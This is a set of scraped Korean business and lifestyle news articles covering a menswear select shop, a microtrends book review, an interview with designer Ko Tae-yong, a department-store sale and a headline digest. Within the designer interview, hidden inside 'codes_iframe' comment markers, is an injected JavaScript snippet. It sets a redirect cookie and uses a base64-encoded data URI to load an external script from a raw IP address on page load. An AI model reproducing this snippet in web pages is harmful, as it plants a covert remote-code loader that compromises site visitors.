- 이마트의 라이프스타일 편집숍 ‘쇼앤텔(show&tell)’(사진=이마트)[이데일리 함지현 기자]이마트는 오는 31일 스타필드 하남과 여주 프리미엄 아울렛에 라이프스타일 편집숍 ‘쇼앤텔(show&tell)’을 오픈한다고 30일 밝혔다. 이마트에 따르면 쇼앤텔은 학교 등에서 각자의 물건을 주제로 자유롭게 발표하는 것을 뜻하는 사전적 의미를 차용한 것으로, 남성들이 서로의 쇼핑 품목에 대해 궁금해하고 얘기하는 것을 의미한다. 이곳에서는 의류 및 잡화, 악세서리, 그루밍 용품, 피규어 등 다양한 패션 아이템을 판매한다.듀칼스(DOUCAL’S), 프라디(FRADI), 모르가노(MORGANO) 등 이탈리아 브랜드와 보머 오리지널(BOMBERS ORIGINAL), 파카 런던(PARKA LONDON) 등 영국 브랜드를 비롯 국·내외 약 50여개의 참신한 브랜드 상품을 발굴해 소개할 계획이다.자체 브랜드도 다양한 라인업을 준비했다. 의류 및 신발을 합리적인 가격에 선보이는 ‘쇼앤텔(SHOW&TELL)’과 이탈리아 유명 셔츠 브랜드 바구타(BAGUTTA)의 제조사인 CIT와의 협업을 통한 셔츠 브랜드 ‘SHOW&TELL X CIT’, 프리미엄 양말브랜드 ‘아네프그라피(ANePIGRAPHE)’와 협업한 ‘SHOW&TELLX ANePIGRAPHE’ 등 세가지 라인이다.쇼앤텔은 이 같은 다양한 상품을 합리적인 가격대에 준비해 보다 많은 고객들에게 소개하겠다는 계획이다.셔츠는 10~20만원대, 바지는 13~20만원대 가격에 준비했으며, 정장세트의 경우 30~69만원대 가격에 준비했다.이마트가 이렇게 새로운 남성 라이프스타일 편집샵을 오픈한 것은, 매장에서 단순히 상품을 구매하는 것이 아니라 라이프스타일과 패션을 공유할 수 있는 공간을 만들기 위함이다.의류부터 소품, 선물용품까지 다양하게 갖춰진 매장을 둘러봄으로써 자신에게 맞는 스타일을 찾고 트렌드도 파악할 수 있는 ‘남자들의 놀이터’를 선보이겠다는 것이다.쇼앤텔은 향후에도 국내외 유수 원단 공급처와 생산처를 발굴해 경쟁력 있는 자체 브랜드 상품을 선보일 예정이다. 아울러 유럽부터 아시아, 국내까지 다양한 지역에 걸친 폭넓은 상품 바잉을 통해 합리적인 가격에 참신한 스타일의 브랜드를 지속적으로 소개할 계획이다.오는 9월 중 스타필드 고양에 세 번째 매장을 오픈하며 추후 복합쇼핑몰 등을 중심으로 매장을 확대하는 것을 검토할 방침이다.정이재 쇼앤텔 팀장은“높은 가격대의 상품이 연상되는 편집샵의 기존 이미지에서 탈피해 부담 없이 쇼핑이 가능하면서도 다양한 취향을 충족할 수 있는 매장을 목표로 쇼앤텔을 큐레이션 했다”며 “연령대와 상관없이 즐길 수 있는 다양한 브랜드와 아이템을 합리적인 가격에 국내 시장에 소개해 라이프스타일을 공유할 수 있는 남성들의 놀이터가 될 것”이라고 말했다.
- '천만장자' '이인자 남편'…99% 뒤흔드는 1% 귀환
- “주류의 메가트렌드가 세상법칙을 결정하던 시대는 갔다.” 저자 마크 펜과 메러디스 파인만은 수많은 ‘마이크로’를 이해해야 미래사회 변화가 제대로 보인다고 주장한다(이미지=이데일리 디자인팀).[이데일리 오현주 문화전문기자] # 유능한 변호사 A씨는 자주 들르던 바에서 바텐더로 일하던 B씨를 만나 결혼했다. 사업가 C씨는 운영하던 인터넷쇼핑몰이 대박을 터트리자 파트타임으로 일하던 배우자 D씨에게 살림을 전담하라고 했다. 그러던 어느 날 B씨와 D씨에게 덜컥 다른 연인이 생긴다. A씨와 C씨는 자책한다. 배우자의 외도가 자신들의 일 중독 때문이라고. 옴니버스 드라마 같은 상황이 아닌가. 그렇다면 이런 질문쯤은 우스울 거다. ‘앞의 두 사례에서 남편을 골라내시오!’ 답부터 공개하자. 남편은 B씨와 D씨다. 둘 중 앞의 사례는 미국드라마 ‘섹스 앤 더 시티’에 나오는 미란다 집 얘기고, 뒤의 사례는 영화 ‘인턴’에 나오는 줄스 CEO 집 얘기다. 헷갈리는 게 정상이다. 헷갈리게 하는 형편이 많아졌단 방증이기도 하고. 이 정도로 ‘세대차 어쩌구’ 할 생각은 없다. 하지만 세상은 변했다. ‘남편은 하늘!’까진 아니더라도 분명 ‘일인자’였던 시절이 있었으니까. 남편들은 경제력과 정보력을 독점해 가정 내 우월한 지위를 유지했다. 결혼관계가 성립하던 시점부터 그랬다. 남자가 나서 대개는 자신보다 좀 부족한 듯한 여자를 낙점했으니. 그런데 이제는 아닌가 보다. 아내에게 일인자 자리를 내준 ‘이인자 남편’이 속속 등장하는 거다. 다만 조심할 게 있다. ‘이인자’가 ‘무능’인 건 아니란 거다. 역할이 달라졌단 의미니까. ‘이인자 남편’은 아내가 경제의 고삐를 죄는 대신 자신은 전통적 여성의 역할이던 가사와 육아를 챙기겠다고 생각하는 거다. 핵심은 ‘이인자 남편’이 몇몇 커플의 유난스러운 제스처가 아니란 데 있다. 세계적으로 증가하는 추세라니 미국통계를 한번 보자. 아내가 ‘일인자’가 되는 걸 전혀 개의치 않아 전업주부를 자처한 남편은 1989년 110만명에서 2012년 220만명으로 2배가 늘었단다. 그중 ‘가족을 챙기기 위해서’란 적극적인 의사를 표명한 남편도 4배가 증가해 5%에서 21%다. 그런데 ‘이상한’ 혹은 ‘이상적인’ 가족형은 이뿐만이 아니다. ‘비혼족’ ‘개방혼’ ‘성적 양다리’ ‘인터넷 결혼족’ ‘독립부부’ 등 줄줄이다. ‘결혼은 일생에 딱 한 번’이란 정설도 따분한 얘기가 됐다. 두 번도 모자라 ‘삼혼족’도 증가세. 역시 미국통계로, 결혼을 세 번 이상 한 이들의 수는 2015년에 920만명을 넘어섰다. 기혼자 중 29%를 차지하며 오히려 초혼자 24%보다도 높다. “몇몇의 거대한 힘이 세상 돌아가는 법칙을 결정하던 ‘메가트렌드’의 시대는 갔다.” 책은 이 핵심논제를 토대로 최소 10년 내 영향력을 더욱 키워갈 50가지 ‘마이크로트렌드’를 꺼내 변화상을 가늠한다. 여론조사·마케팅·광고전략전문가로 40년간 일한 마크 펜이, 홍보회사 파인포인트를 설립·운영하는 메러디스 파인만과 의기투합했다. 저자들이 집중한 건 작지만 막강한 힘을 발휘하는 ‘특별한 1%의 법칙’. 다시 말해 채 1%에도 미치지 못하는 작은 집단이 시장을 선점하고, 선거결과를 뒤집고, 산업계에 지각변동을 일으키는 등, 사회를 송두리째 바꿔놓는 장면이 심심찮게 연출된다는 거다. 사실 처음은 아니다. 10년 전 전작 ‘마이크로트렌드’(2018)에서 마크 펜이 이미 주목했던 터. 작은 집단의 행위가 그 담을 넘어 엄청난 영향력을 미치는 원리를 설명했더랬다. 이번 책은 ‘그 10년 뒤’ 편 정도가 될까. 그 잣대로 저자들은 다시 10년을 가늠한다. 달라진 점이라면 ‘작은’이 더 파워풀해졌다는 것. 99%를 뒤흔드는 1%가 됐다는 얘기다. △‘메가→마이크로’? ‘포드 경제→스벅 경제’! ‘메가에서 마이크로로’의 배경에는 전제가 있다. 시스템 전환이다. 경제로 한정하자면 ‘포드 경제’가 ‘스타벅스 경제’에게 자리를 내준 ‘사건’이라고 할까. 대량생산과 대량소비로 먹고살던 ‘포드 경제’가 맞춤형 생산과 차별형 소비를 먹고 자라는 ‘스타벅스 경제’로의 극적인 탈태가 이뤄졌단 얘기다. 변수는 ‘개인화’였고 관건은 ‘색’이었다. 대량생산체제에서 판박이처럼 찍어내는 자동차는 오로지 검정색뿐이었고, 개인적인 취향을 십분 반영한 소량생산체제에선 온갖 알록달록한 상품이 가능했던 거다. 이후는 ‘선택’의 욕구를 키운 시간이 됐다. 그런데 ‘뜻밖의 현상’이 감지되더란 거다. 선택의 폭을 넓혔더니 넓혔지만 오히려 그 선택이 위축되는 묘한 그림이 그려진 거다. 스타벅스 매장으로 직접 들어가 보자. 매장에는 오늘도 어제는 없던 상품들이 눈을 괴롭힌다. 손님의 고민이 깊어 보인다. 하지만 그것도 잠깐. 결정은 간결하다. “아메리카노!”다. 비단 커피뿐이겠나. 방송콘텐츠 취향도 다를 게 없다. TV 리모컨만 누르면 수도 없이 많은 채널이 얼굴을 들이대지만 선택은 늘 어제 그 채널이니까. “선택의 시대가 도래하자 정작 실험적인 선택을 하지 않더라”는 게 저자들의 주장이다. 새로운 걸 찾으려는 시도를 접고 오히려 더 깊이 땅을 파고 들어가는 두더지족만 ‘양산’하고 있다고. 선택할 게 많으면 선택이 다양해지리란 마땅한 예측이 완전히 빗겨간 거다. 실제로 한 기업의 검색엔진 세계시장점유율은 98%에 달하기도 한다니 말이다. ‘두더지’ 덕분인가. 예전엔 꿈도 못 꾸던 ‘숫자’를 품은 이들이 생겨났다. ‘천만장자’다. 순자산 1000만달러(약 111억 6000만원)가 요즘 부의 기준이라는데. 주로 금융과 기술, 의료와 제조, 부동산과 건설 분야에 집중됐단다. 특히 기술. 여기에 적을 둔 사업가들이 기술로써 다른 산업을 파괴하는 방식으로 크게 벌거나 크게 잃는 행태를 반복한다는 거다. △1%들이 충돌하는 물밑 봐야 기술 분야의 1% 중엔 ‘노PC족’이 눈에 띈다. ‘PC를 안 쓰는 이들’이란 뜻이다. 문명과는 거리를 두겠다는 건가. 아니다. 오히려 PC가 거추장스러워 내다버렸다는 이들이다. PC뿐인가. 노트북도 크고, 태블릿도 무겁단다. 이들이 선택한 건 ‘스마트폰’뿐이다. 비중도 적잖다. 2020년이면 미국인 4160만명이 모바일기기로만 인터넷을 이용할 거라니. 먼 미래 일도 아니다. 이미 지난해 3440만명에 도달했단다. 책은 저자들이 감지한 물밑 기류의 미묘한 움직임을 치밀하게 짚어낸다. 다만 미국사례에 치중하다 보니 진짜 남의 나라 얘기처럼 보이는 한계가 아쉽다고 할까. 하나만 붙들어두면 된다. 거창한 프레임이 짜놓은 그럴듯한 외양에 정신이 팔려 미세하게 번지는 균열을 놓치지 말라는 당부. 혹여 오늘도 “세상 돌아가는 일을 도대체 이해할 수 없다”는 푸념을 늘어놨나. 수많은 1%가 충돌하는 바닥 전경을 놓쳤으니 당연하다. ‘웰빙중독자’가, ‘드론’이, ‘소셜 백만장자’가, ‘지능형 방송콘텐츠’가, ‘샤이 보수’가, ‘신흥 공장노동자’가 꿈틀댄다지 않나.
- [스냅타임] 패션계 직진남 고태용 "남들 안 가본 길 꿈꿔"
- 좀 노는 오빠, 힙한 셀럽. 올해로 론칭 11주년인 디자이너 브랜드 '비욘드클로젯(beyondcloset)'의 대표, 고태용의 첫인상이었다. 만나자마자 쇼룸 한가운데 있는 탈의실에서 옷을 갈아입고 소파에 털썩 앉았다. 그는 누구보다 거침없고 당당했다.미술을 배운 적도 없고 그 흔한 해외 유학 한 번 가지 않았다. 심지어 뒤늦게 의상학과로 편입해 26살에서야 디자이너가 되기로 했다. 그리고 1년 뒤 그는 서울컬렉션 최연소 데뷔 디자이너가 됐다. 얼마 지나지 않아 그가 만든 티셔츠는 디자이너 브랜드 최초로 밀리언셀러가 됐다. 지금은 '핫함'을 넘어서 '걸어 다니는 브랜드'가 된 고태용 디자이너를 직접 만나봤다. (사진=스냅타임) 남들보다 늦은 시작, 남다른 시작지금은 이름 석 자만으로 브랜드 가치가 있는 유명 디자이너지만 고태용은 대학생 때까지만 해도 평범한 인생을 살리라 생각했다. 졸업할 때쯤 되면 적당한 회사에 들어가 직장 생활을 하고, 가정도 꾸리며 살지 않을까 생각했다. 옷은 원래 좋아하긴 했지만 디자이너가 될 생각은 없었다. 그러다 26살에 대학 레포트 과제 때문에 서울패션위크를 보러 갔다. 맨 뒤에서 발꿈치를 들고 구경하던 그는 피날레에 등장하는 디자이너의 모습에 마음을 뺏겼다. 옷을 통해 사람들과 소통하는 모습이 멋있어 보였다. "누군가를 보고 미치도록 저런 사람이 되고 싶다는 생각을 처음 했어요."한번 꽂히면 앞뒤 가리지 않는 추진력은 그때부터 남달랐다. 직원이 두 명 뿐인 작은 인터넷 쇼핑몰에서 일하며 대중의 니즈를 파악하는 연습을 했다. 물건을 사입해서 팔기도, 직접 제작해 팔기도 하며 경험을 쌓았다. '내 브랜드를 만들고 싶다'는 열망은 점점 더 커졌다. 그렇게 모은 돈 1000만원으로 방 한구석에서 비욘드클로젯이라는 브랜드를 만들어냈다. 처음 6개월은 집에서 혼자 시작, 이후 서울 강남구 신사동의 월세 45만원짜리 조그만 사무실로 옮겼다. 1년 뒤 그는 27살에 최연소로 서울컬렉션에 데뷔했다.당시(2008년)만 해도 디자이너 브랜드라 하면 고급스러운 이미지와 무게감이 중요했다. 디자이너의 옷은 '현실감 없고 소화하기 어려운 비싼 옷'이라는 인식이 강했다. 고태용은 틀을 모두 깨버렸다. 디자이너 브랜드 최초로 상업용 세컨드레이블을 만들었고, 누구나 입기 쉬운 티셔츠를 내놨다. 곧이어 디자이너 브랜드 최초로 밀리언셀러 판매도 달성했다. 디자이너 브랜드 옷은 가격이 비싸고 입기 어려운 옷이라는 편견을 없앤 것이다. (사진=스냅타임) 파격을 두려워하지 않는 남자데뷔부터 남달랐던 그는 이후 11년 간의 행보도 다른 디자이너들과는 달랐다. 그들만의 세계에서 소위 불문율이라고 여겨지는 관습도 아랑곳하지 않고 파격적인 시도를 꾸준히 해왔다. 홈쇼핑 진출도 그 중 하나다. 그가 홈쇼핑에 처음 진출하려고 할 때 주변에서 "디자이너는 그런 거 하는 거 아니다"라며 모두가 말렸다. 홈쇼핑은 싼 제품을 파는 채널이라는 인식 때문이다. 고태용은 기존 홈쇼핑의 포맷에서 벗어나 유명 스타일리스트와 협업해 디자이너 브랜드의 전문성을 살렸다."전 그때도 시대가 많이 바뀌었다고 생각했어요. 옷을 어디서 파느냐는 중요하지 않다고 생각했죠. 어떻게 파느냐가 중요한 거예요."고태용은 CJ오쇼핑과 6년 째 계약을 이어오고 있다. 지난해에는 셀렙샵과 협업해 내놓은 '슈퍼주니어 롱패딩'이 화제 속에 완판되기도 했다.국내 최초로 '프레젠테이션 패션쇼'을 도입하기도 했다. 기존 패션쇼와 달리 모델들은 서 있고 사람들이 돌아다니며 옷을 보는 방식이다. 뉴욕 패션쇼에서는 핫한 방식이었지만 결과는 실패였다. 전문가와 바이어들이 주 관중인 뉴욕과 달리 서울 패션쇼에는 학생들도 많이 오는데, 학생들이 옷보다 모델에 관심을 두고 그 앞을 떠나지 않았던 것이다. 실패했지만 그는 뿌듯했다. 국내에서 아무도 안 해본 걸 시도해봤다는 경험 자체가 그에겐 더 중요했다. 탄탄대로만 걸은 것 같다고? 모르는 소리남들보다 늦게 시작해 단숨에 정상까지 올라간 고태용을 '실패를 모르는 남자'로 보는 이들도 많다. 하지만 그 역시 수없이 실패해봤다. 대학생 때 각종 공모전에서 숱하게 떨어졌고 오디션 프로그램도 1회만에 탈락했다. 대학생 때 잠깐 한 인턴은 허드렛일이 일상이었다. 처음 원단을 떼러 동대문 시장에 갔을 때는 어리바리한 모습에 상인들로부터 무시당하기 일쑤였다.하지만 숱하게 실패하면서도 '난 안되는구나'라고 생각해본 적은 단 한 번도 없었다. 떨어진 데는 다 나름의 이유가 있었고 실패는 성공하기 위한 과정일 뿐이라 생각했다."난 분명히 잘 될 거라는 확신이 늘 있었어요. 재수없다 느끼실 수도 있는데요, 전 틀림없이 유명해질 것 같았어요."그는 디자이너를 꿈꾸기 시작한 순간부터 스스로가 꼭 성공할 거라는 믿음이 있었다. 특별한 이유는 없고, 그냥 열심히 사는 나 자신을 믿었다. 실패를 두려워하지 않는 자신감이 데뷔 이후로도 그가 남다른 길을 갈 수 있던 이유다."분명히 힘든 과정도 있었겠지만, 힘든 것보다 설레고 즐거운 게 훨씬 더 컸어요. 지금 잘 돼서 당시 기억을 미화하는 게 아니에요. 정말 저는 힘들다고 느낀 기억이 거의 없어요."스물여섯, 인맥도 스펙도 없던 그에게 시작하기가 어렵지 않았냐고 물었더니 "그걸 넘어설 만큼 즐겁고 설?다"고 강조했다. 한달에 10만원, 20만원밖에 못 벌고 일주일 동안 두세 시간밖에 못 잤지만 그는 즐거웠다. 고태용은 "요즘 20대들이 힘든 걸 넘어설 만큼 즐거운 일을 찾았으면 좋겠다"고 말했다. (사진=스냅타임) 20대, 부지런히 모든 걸 흡수해라"난 희망고문은 안 해요. 안 될 애들은 안 되거든요. 될 사람만 되는데, 부지런하면 성공해요. 누구나 할 수 있는 얘기라 생각하겠지만 세상에 생각보다 부지런한 사람 그렇게 많지 않아요. 정말이에요." 힘들게 하루를 버텨가는 20대에게 조언을 부탁했더니 그는 이렇게 대답했다. "정말, 정말"이라며 몇 번씩이나 강조했다. 그는 디자이너를 처음 준비할때 1년 동안 하루에 3시간 이상 자본적이 없다. 8년 동안 매일 인천에서 신사동 사무실까지 칼같이 출퇴근 했다. 그동안 회사에 안 나온 적도 한 번도 없다. "패션쇼가 끝나면 사람들이 다음날 뭐할 거냐고 물어요. 전 똑같이 출근해서 일해요. 다른 디자이너들 여행가고 그럴 때 난 다음날 일어나서 똑같이 나와서 일했어요."그는 사람들은 본인을 '놀기 좋아하는 날라리'로 보지만 스스로를 '누구보다 열심히 사는 사람'으로 표현했다."20대에게 가리지 말고 모든 걸 다 흡수해보라고 말해주고 싶어요. 저는 그렇거든요. 싸구려 음식, 저급한 영화부터 굉장히 고급스러운 럭셔리 음식, 영화까지 다 즐겨요."<!--/codes_iframe--> 비욘드클로젯 로고(이미지=비욘드클로젯 홈페이지) 국내 디자이너로서 정상까지 올라간 데다 더이상 받을 상도 높일 업적도 없는 그에게 새로운 목표가 있는지 물어봤다.이미 11년간 남들이 하지 않은 도전을 해온 그는 앞으로도 남들과 다른 길을 걷고 싶다고 말했다.<!--/codes_iframe-->"이런 디자이너도 있구나, 라는 얘기가 나오는 새로운 롤모델이 되고 싶어요. 패션 디자이너가 이런 것까지 가능하구나, 라는 얘기가 나오는 사람이요." <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- 신세계百, 백화점 매장서 온라인 가격으로 판다
- (자료=신세계백화점)[이데일리 강신우 기자] 신세계백화점은 연중 최대 매출 비수기인 6월의 돌파구로 온라인몰 파격가를 내세운다고 14일 밝혔다. 온라인과 오프라인이 결합된 옴니채널 대형행사를 펼치고 신세계몰(온라인)에서 판매하고 있는 500여개 상품을 신세계백화점(오프라인) 전점에서 온라인과 비슷하거나 오히려 낮은 가격에 선보이는 것.신세계백화점은 오는 15일부터 열흘간 신세계몰과 손잡고 사상 처음으로 ‘옴니채널 쇼핑위크’를 펼치고 행사 상품들을 온라인 특가로 판매한다. 여성, 남성, 아동, 스포츠, 화장품, 식품, 생활 등 전 장르에서 총 168개 브랜드, 500여개 품목이 참여하는 이번행사는 오프라인 최고의 가격혜택을 앞세운다.500개에 달하는 상품을 신세계백화점 전점과 신세계몰에서 동시에 판매하고 가격은 온라인 최저가 수준으로 동일하게 판매한다. 이렇게 선보이는 가격은 기존 백화점 정상가와 비교할 경우 최대 85%까지 할인된 가격이다.특히 신세계백화점에서 할인금액의 일부를 부담해 협력회사들에게는 가격부담을 덜어주며 백화점과 온라인의 판매가를 비슷한 수준으로 맞췄다.대표상품으로는 코데즈컴바인에서 민소매 원피스를 1만5000원, 리바이스에서는 슬림핏 남성 청바지를 6만7000원, 마인드브릿지에서는 5부 반바지를 2만1000원, 갭 키즈에서는 남/여아 반팔티셔츠를 1만8000원에 선보인다. 닥터마틴에서는 캐주얼 운동화를 9만3000원, 블랙야크에서는 여름 남자 트래킹화를 5만원에 판매하고 소니에서는 디지털카메라(ILCE5100L)을 55만6000원, 크리니크에서는 각질관리를 해주는 클라리파잉 로션을 3만4500원, 침구브랜드 세사에서 홑이불 베개세트를 3만3000원에 준비하는 등 다양한 장르에서 상품을 준비했다.이 기간 신세계백화점 전점에서는 행사 참여브랜드 및 상품에 고객들이 알아보기 쉽도록 초록색 뱃지를 부착할 예정이며 신세계몰에서는 ‘옴니채널 쇼핑위크’ 라는 백화점과 동일한 행사 페이지가 오픈된다.행사에 참여하는 모든 브랜드와 상품들은 신세계백화점 앱(APP)에서 확인 가능하며 고객들은 앱에 명기된 해당 상품의 바코드를 제시하고 신세계 제휴카드(씨티/삼성/SC/신한)로 결제하면 온라인 특가로 구매가 가능하다.박순민 신세계백화점 영업전략담당 상무는 “6월의 매출 여부에 따라 상반기 매출목표 달성의 윤곽이 나타나기 때문에 백화점업계에서 6월은 중요한 키를 쥐고있다”며 “이번 ‘옴니채널 쇼핑위크’는 온라인의 최대 장점인 가격 경쟁력을 오프라인 매장에 옮겨놓은 최초의 행사인 만큼 여름세일을 기다리는 고객들에게 좋은 쇼핑기회가 될 것”이라고 말했다.
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- [이데일리 박일경 기자] 다음은 16일자 이데일리 신문 주요 뉴스다.△1면-SK텔레콤, 맥쿼리 손잡고 ‘휴대폰 리스’ 사업 펼친다-‘어서박’ 박원순, 사상 첫 지지율 60% 돌파-[제1회 이데일리 블록체인포럼] 김형주 한국블록체인산업진흥협회 이사장 “법체계 미비해 블록체인 발묶여…정부데이터, 개인활용 허용해야”-‘반포현대’ 재건축 부담금 1억3000만원…강남 ‘초긴장’-[사설]국민 실망시키는 국회 존재가치 없다-[사설]재벌가의 재산 비리로 향하는 적폐 수사△줌인&-직권남용인가, 하극상인가-오늘 판문점서 남북 고위급 회담…산림 협력, 6·15 공동행사 의제로-‘부담금 배분 방식’ 조합원 갈등 부를 수도△재건축 부담금 쇼크-‘강남4구 부담금 평균 4.3억 예고’ 현실로…재건축 아파트시장 ‘패닉’-계산기 두드릴 때마다 다른 ‘미래 가격 상승률’-부담금 1억3000만원 내도…반포현대 조합원, 2억원 넘게 챙겨△6·13 지방선거 여론조사-朴 대세 굳힌 서울, 2위 싸움 더 치열…부산 23년 만에 첫 ‘민주 깃발’ 가능성-시민 65.9% ‘재건축 규제 찬성’…코드 맞추는 朴·安, 정면 돌파하는 金-文 지지율 고공행진…與 후보들 올라타나-조희연 45.2% 독주에도…10명 중 2명은 ‘후보들 잘 모르겠다’△6·13 지방선거 여론조사-박원순·오거돈 지지자 85% “文정부 공공·청년 일자리 정책지지”-방방곡곡 파란 바람…힘 못쓰는 야권-부산시민 절반 ‘김해공항 확장’ 찬성에…‘가덕도 신공항’ 공약 吳, 입장 지킬까-‘진보 후보가 좋아’ 57.7%…김석준, 보수 단일후보에 21%p 앞서△정치-北, 풍계리 핵실험장 폐기작업 착수…정부, 北에 ‘전문가 검증’ 제안할까-여야 추경·특검 논의, 벌써 ‘삐거덕’-서훈·김영철·폼페이오…‘북·미 정상회담 속도전’ 이끄는 세 남자-개방의지 드러낸 北…고귕급 인사, 中 개발현장 시찰△경제-年 350조 몰리는 가상화폐…정의도 못내린 정부-청춘들만 힘들더냐…4050 앞 ‘고용 절벽’-美 ZTE 제재 완화, 中은 농산물 관세 철폐…주거니 받거니?-공정위, 퀄컴이 주장한 ‘참고인 즉석 채택·신문’ 허용△금융-공정위 권고 나몰라라..보험사 손해사정, 자회사 위탁률 93%-“비 오면 우산 빌려드려요” BNK금융 나눔 캠페인-KDB생명 올들어 5000억 수혈…매각 작업 청신호-필기시험, 외부전문가 면접…신한銀 공채 투명성 강화△제1회 이데일리 블록체인포럼-“보수적 금융권도 블록체인 도입 속도…곧 모든 산업 영역에 적용될 것”-“블록체인 기술유출 심각…정부, ICO 규제 곧 풀 것”-“차세대 블록체인 주도할 승자 아직 안 나와…가상화폐 한계 깰 3세대 기술 주목”△산업&기업-구본준 “ZKW 인수로 車전장 선도”-할부보다 싸게…갤S9·아이폰X 빌려쓰세요-장애인도 편리하게…삼성 패밀리허브, 인간공학디자인 최고상-되찾은 부산항 운영권…현대상선, 부활 뱃고동-외국인 투자기업, 경영부담 1순위 ‘노동정책’-美 의결권 자문사 “현대차 지배구조 개편 반대…‘엘리엇 맞춤형’ 자문 논란△산업-김택진 “리니지M, PC와 결별”…모바일 기업으로 독립선언-삼성전자 갤럭시S9 개통량 출시 두달만에 100만대 돌파-“AI 기술개발에 5년간 2.2조 투입…세계 4대 강국 만든다”-삼성·애플 특허소송 재개…IT vs 디자인업계 ‘자존심 대결’ 후끈△소비자생활-“낙수효과 기대” “상인들 어려움 가중”…군산 시민들 ‘롯데몰’ 시선 엇갈려-[호텔 e사람]신인경 코트야드 메리어트 서울 보타닉 파크 지배인 “호텔 유리천장 깨려 외국근무 자청했죠”-스타벅스 ‘대학카드’ 출시…1호는 연세대△중소기업·제약-사업 다각화 위해 설립하거나 M&A…제약사 자회사, 母회사 실적 견인 ‘효자’-휴롬 원액기, 티몬 모바일홈쇼핑서 만나세요-영하 24도까지 온도 조절…식재료 신선도 UP-공기정화영역 넓혀라…중견가전社 ‘대용량’ 청정기 출시 붐△증권&마켓-신흥국 자금 엑소더스, 6월 위기설 확산…韓증시 체력 괜찮을까-中 A주 MSCI지수 편입…중국펀드 다시 빛보나-强달러 펀치에…잘나가던 ‘베·브·인’ 펀드 수익률 녹다운△증권-유령주식 팔아도 과태료 최대 1억…재진입 막을 빗장도 없어-공무원연금 ‘자산 컨설팅’…우선협상자 에프앤가이드-스마일게이트, 카페24 기업공개 후 3배 수익 ‘好好’-김용범 “삼바 분식회계 심의, 내일 감리위 속기록 남긴다”△Book-법정스님 “분별하지 말라”-‘내 집’에 대한 관심…‘내 도시’로 기울여야-‘육아맘’을 바라보는 남편의 따뜻한 시선-소비자는 ‘놀이터 같은 쇼핑몰’ 원한다△문화&스포츠-새로워라, 봄의 선율-진행만 하는 MC는 가라…멀티 MC전성시대△스포츠-‘딱 하나 없는’ 박인비, 국내 무관의 한 푼다-현대캐피탈, 전광인 품고…꿈꾸던 ‘삼각편대’ 완성-남자골프 왕년 스타들 KLPGA 필드 누빈다-손흥민 “망신 피하려면…모든 것 걸어야”-‘루키’ 최혜진, 세계랭킹 8위…‘톱5’ 노려볼 만△사람&나눔-[삼수 끝에 서울시 금고은행 따낸 주철수 신한은행 부행장]“시대의 변화 흐름 콕 집은 PT 주효…年32조 금고지기 따냈죠”-‘고속도로 의인’ 한영탁씨…‘LG 의인상’ 수상자 선정-역사교과서 시국선언 참여자 포함…우수 교원 3366명 ‘스승의 날’ 표창-조선영 광운학원 이사장 취임-NH농협은행 마곡역지점 오픈-김광수 농협금융 회장 ‘현장경영’…21일까지 자회사 7곳 찾아 소통-미래에셋대우 임직원 ‘지속가능한 사회공헌’ 위해 머리 맞댄다△오피니언-[목멱칼럼]창업가정신부터 가르치자-[전문기자칼럼]경제정책 역주행-[기자수첩]시민 신고로 잡은 보이스피싱△부동산-‘316건 일일이 클릭해야 하나’…렌트홈 등록임대매물 ‘모래밭서 바늘찾기’-소중한 내 아이 위한 ‘초·품·아’ 주목-국토부, ‘수도권 로또’ 하남 포웰시티도 당첨자 위장전입 조사△사회-경기는 절반, 서울은 전액…시간선택제 공무원 ‘성과급’ 지자체마다 제각각-“성폭력 교수는 스승 아니다” 파면 촉구 팔걷은 대학생들-‘일베·워마드’ 폐쇄 청원 빗발…“엄정한 처벌” vs “표현의 자유”-“빽도 실력”…최순실 ‘이대 입학 비리’로 징역 3년 확정